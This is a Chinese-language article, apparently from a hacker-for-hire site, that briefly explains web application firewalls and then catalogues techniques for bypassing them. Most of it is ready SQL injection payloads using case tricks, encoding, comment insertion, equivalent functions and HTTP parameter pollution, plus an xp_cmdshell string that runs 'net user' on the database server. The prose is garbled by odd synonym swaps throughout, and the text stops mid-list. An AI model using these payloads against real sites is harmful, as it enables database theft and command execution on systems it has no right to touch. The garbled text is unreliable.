Web运用程序防火墙(WAF)的首要作用是过滤,监控和阻挠各类进出Web运用程序的HTTP流量。WAF差异于惯例防火墙,由于WAF能够过滤特定Web运用程序的内容,而惯例防火墙充任的则是服务器之间的安全门。经过查看HTTP流量,它能够避免源自Web运用安全漏洞的进犯,如SQL注入,XSS,文件包括和安全装备过错。
WAF是怎么作业的?
协议反常检测:回绝不符合HTTP规范的恳求
增强的输入验证:署理和服务器端验证,而不仅仅是客户端验证
白名单和黑名单
根据规矩和根据反常的维护:根据规矩的更依靠黑名单机制,根据反常则更灵敏
状况办理:重视会话维护还有:Cookie维护,反侵略躲避技能,呼应监控和信息发表维护。
怎么绕过WAF?
1.当咱们在方针URL进行SQL注入测验时,能够经过修正注入语句中字母的巨细写来触发WAF维护状况。假如WAF运用区别巨细写的黑名单,则更改巨细写或许会帮咱们成功绕过WAF的过滤。
http://target.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4
2.关键字替换(在关键字中心可刺进将会被WAF过滤的字符) – 例如SELECT可刺进变成SEL
http://target.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4
3.编码
+ URL encode
page.php?id=1%252f%252a*/UNION%252f%252a /SELECT
+Hex encode
target.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4…
SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
+Unicode encode
?id=10%D6‘%20AND%201=2%23
SELECT 'Ä'='A'; #1
4.运用注释
在进犯字符串中刺进注释。例如,/*!SELECT*/ 这样WAF或许就会疏忽该字符串,但它仍会被传递给方针运用程序并交由mysql数据库处理。
index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4
'union%a0select pass from users#
index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3
?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4…
5.某些函数或指令,由于WAF的过滤机制导致咱们无法运用。那么,咱们也能够尝试用一些等价函数来代替它们。
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
6.运用特别符号
这儿我把非字母数字的字符都规在了特别符号一类,特别符号有特别的意义和用法。
+ ` symbol: select `version()`;
+ +- :select+id-1+1.from users;
+ @:select@^1.from users;
+Mysql function() as xxx
+`、~、!、@、%、()、[]、.、-、+ 、|、%00
示例
‘se’+’lec’+’t’
%S%E%L%E%C%T 1
1.aspx?id=1;EXEC(‘ma’+'ster..x’+'p_cm’+'dsh’+'ell ”net user”’)
' or --+2=- -!!!'2
id=1+(UnI)(oN)+(SeL)(EcT)
7.HTTP参数操控
经过供给多个参数=相同称号的值集来混杂WAF。例如 http://example.com?id=1&?id=’ or ‘1’=’1′ — ‘在某些状况下(例如运用Apache/PHP),运用程序将仅解析最终(第二个) id= 而WAF只解析第一个。在运用程序看来这似乎是一个合法的恳求,因而运用程序会接纳并处理这些歹意输入。现在,大多数的WAF都不会遭到HTTP参数污染(HPP)的影响,但仍然值得一试。
+ HPP(HTTP Parameter Polution))
/?id=1;select+1,2,3+from+users+where+id=1—
/?id=1;select+1&id=2,3+from+users+where+id=1—
/?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users
HPP又称做重复参数污染,最简略的便是?uid=1&uid=2&uid=3,关于这种状况,不同的Web服务器处理方式如下:
+HPF (HTTP Parameter Fragment)
这种办法是HTTP切割注入,同CRLF有相似之处(运用操控字符%0a、%0d等履行换行)
/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users—
+HPC (HTTP Parameter Contamination)
RFC2396界说了以下字符:
Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' ()
Reserved : ; / ? : @ & = + $ ,
Unwise : { } | ^ [ ] `
不同的Web服务器处理处理结构得特别恳求时有不同的逻辑:
[1] [2] 黑客接单网